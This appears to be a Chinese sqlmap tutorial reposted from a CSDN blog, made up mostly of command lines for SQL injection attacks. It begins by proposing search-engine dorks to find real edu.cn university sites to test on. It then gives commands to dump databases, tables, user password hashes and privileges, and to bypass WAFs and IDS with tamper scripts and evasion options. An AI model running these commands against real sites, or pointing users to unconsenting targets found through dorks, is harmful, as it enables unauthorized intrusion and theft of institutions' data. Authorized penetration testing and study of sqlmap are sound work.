参考文章:SQLmap使用教程图文教程(超详细)-CSDN博客
可使用必应搜索以下网站来测试使用:
inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn
https://i-blog.csdnimg.cn/blog_migrate/80d2a4ffaa0cb7d7d1db82770ccdf1cf.png
扫描完成之后会显示注入的类型以及数据库和版本信息
sqlmap提示选项使用技巧
在使用sqlmap过程中,经常需要用户进行选择,如[Y/n]。这里有几个技巧:
1.大写的为默认选项。如果不输入,就自动使用该选项。
2.我们输入时,不用区分大小写。
3.除了y和n,还有两个特殊选项。一个是a,表示alway,就是总是获取。一个是q,表示退出。
4.不想手动选择,则在执行sqlmap的时候,加上–batch和–smart选项。
一、常规命令
1.检测注入点
sqlmap -u 'http://xx/?id=1'
2.查询所有数据库
sqlmap -u 'http://xx/?id=1' --dbs
3.查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
4.查看数据表
sqlmap -u 'http://xx/?id=1' -D meteor --tables
5.查看字段
sqlmap -u 'http://xx/?id=1' -D meteor -T zzy --columns
6.查看数据
sqlmap -u 'http://xx/?id=1' -D meteor -T zzy -C 123 --dump
二、目标
1.指定url:-u
-u
参数需要指定检测的url,使用单双引号包裹
eg:
sqlmap -u 'https://xxx/?id=1'
2.指定文件(批量扫描)
准备一个文件,写上需要检测的url,一行写一个
再使用-m
参数指定文件,可以批量扫描文件中的url
eg:
sqlmap -m urls.txt
3.指定数据库/表/字段
-D
指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
-T
指定目标「表」,单/双引号包裹,常配合其他参数使用。
-C
指定目标「字段」,单/双引号包裹,常配合其他参数使用。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
4.POST请求
检测POST请求的注入点,使用BP等抓包工具抓包,将http请求的内容保存为txt文件
使用 -r
参数指定需要检测的文件,sqlmap会通过POST请求方式检测目标
sqlmap -r bp.txt
5.cookie注入
--cookie
指定cookie的值,模拟用户登录,使用单/双引号包裹
sqlmap -u 'http://xxx/?id=1' --cookie 'meteor'
三、脱裤
获取所有内容:-a,但会消耗很长时间
sqlmap -u 'http://xxx/?id=1' -a
1.获取数据库
1.1获取数据库版本 -b
sqlmap -u 'http://xxx/?id=1' -b
在扫描完最后会显示数据库的版本
1.2获取当前使用的数据库
sqlmap -u 'http://xxx/?id=1' --current-db
1.3获取所有的数据库
sqlmap -u 'http://xxx/?id=1' --db
最后会显示出所有的数据库名字
2.获取表
参数:–tables
2.1获取指定数据库的表
sqlmap -u 'http://xxx/?id=1' -D 'meteor' --tables
最后会显示指定数据库中的所有的表名
2.2同时获取多个数据库的表明,库名用逗号隔开
sqlmap -u 'http://xxx/?id=1' -D 'meteor,zzy' --tables
2.3不指定数据库,获取数据库中的所有的表
sqlmap -u 'http://xxx/?id=1' --tables
最后会显示每个数据库下都有哪些表
3.获取字段
参数:–dump
3.1获取指定数据库以及指定表中的字段
!!!只指定数据库不指定表会报错!!!
sqlmap -u 'http://xxx/?id=1' -D 'meteor' -T 'zzy' --columns
最后显示表中的所有的字段
3.2不指定表名,默认获取当前数据库所有表的字段
sqlmap -u 'http://xxx/?id=1' --columns
4.获取字段类型
参数:–schema获取字段类型,可以指定库或表,不指定则获取数据库中所有字段的类型。
sqlmap -u 'http://xxx/?id=1' -D 'meteor' --schema
最后会显示每个表的字段类型
5.获取值(数据)
参数:–dump获取表中的值。
5.1获取指定数据库,表,字段的值:
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
5.2获取指定数据库所有表的数据:
sqlmap -u 'http://xx/?id=1' -D 'security' --dump
5.3使用–start和–stop指定获取数据
使用参数:–start,–stop指定开始和结束的行,只获取一部分数据
sqlmap -u 'http://xxx/?id=1' -D 'meteor' -T 'meteor' --start 1 --stop 5 --dump
6.获取用户
6.1获取当前登录数据库的用户
sqlmap -u 'http://xxx/?id=1' --current-user
最后会显示当前登录数据库的用户current user:xxx
6.2获取所有的用户
参数:–users获取数据库所有的用户名
sqlmap -u 'http://xxx/?id=1' --users
6.3获取用户的密码
参数:–password获取所有用户的密码(哈希值)
数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,需要借助工具将其解密出明文
sqlmap -u 'http://xxx/?id=1' --passwords
最后面显示数据库用户名对应的密码(哈希值)
6.4获取用户的权限
参数:–privileges查看每个数据库用户都有哪些权限
sqlmap -u 'http://xxx/?id=1' --privileges
最后显示每个数据库用户所拥有的权限。(权限最多的即为root用户)
6.5判断当前用户是不是管理员
参数:–is-dba判断当前登录数据库的用户是不是数据库的管理员用户
sqlmap -u 'http://xxx/?id=1' --is-dba
如果是管理员,就在current user is DBA后面显示 true
7.获取主机名称
参数:–hostname获取服务器主机名
sqlmap -u 'http://xxx/?id=1' --hostname
最后面显示服务器的主机名
8.搜索库,表,字段
参数:–search搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名
搜索数据库中有没有 security 这个数据库:
sqlmap -u 'http://xx/?id=1' -D 'security' --search
回车后需要手动选择模糊匹配(as like database namesas)还是完全匹配(as exact database namesas)
也可以搜索表和字段
sqlmap -u 'http://xxx/?id=1' -T 'users' --search
sqlmap -u 'http://xxx/?id=1' -C 'username' --search
9.正在执行的SQL语句
参数:–statements获取数据库中正在执行的SQL语句
sqlmap -u 'http://xxx/?id=1' --statements
最后显示正在执行的SQL语句
SQL statements:
[*]正在执行的SQL语句
四、WAF绕过
参数:–tamper指定绕过脚本,绕过WAF或IDS
sqlmap -u 'http://xxx/?id=1' --tamper 'xxx.py'
sqlmap中内置绕过脚本,linux系统中在:/usr/share/sqlmap/tamper/
五、其它指令
–batch 不再询问是否确认
-p 指定可测试的参数 ?page=1&id=2 -p “page,id”
–method=GET 指定请求方式
–random-agent 随机切换UA
–user-agent ’ ‘ 使用自定义UA
–referer ’ ’ 使用自定义referer
–proxy=‘127.0.0.1:8080’ 指定代理
–thread 10 设置线程数,最高10
–level=1 执行测试的等级(1-5,默认为1,常用3)
–risk=1 风险级别(0~3,默认1,常用1),级别提高会提高数据被篡改的风险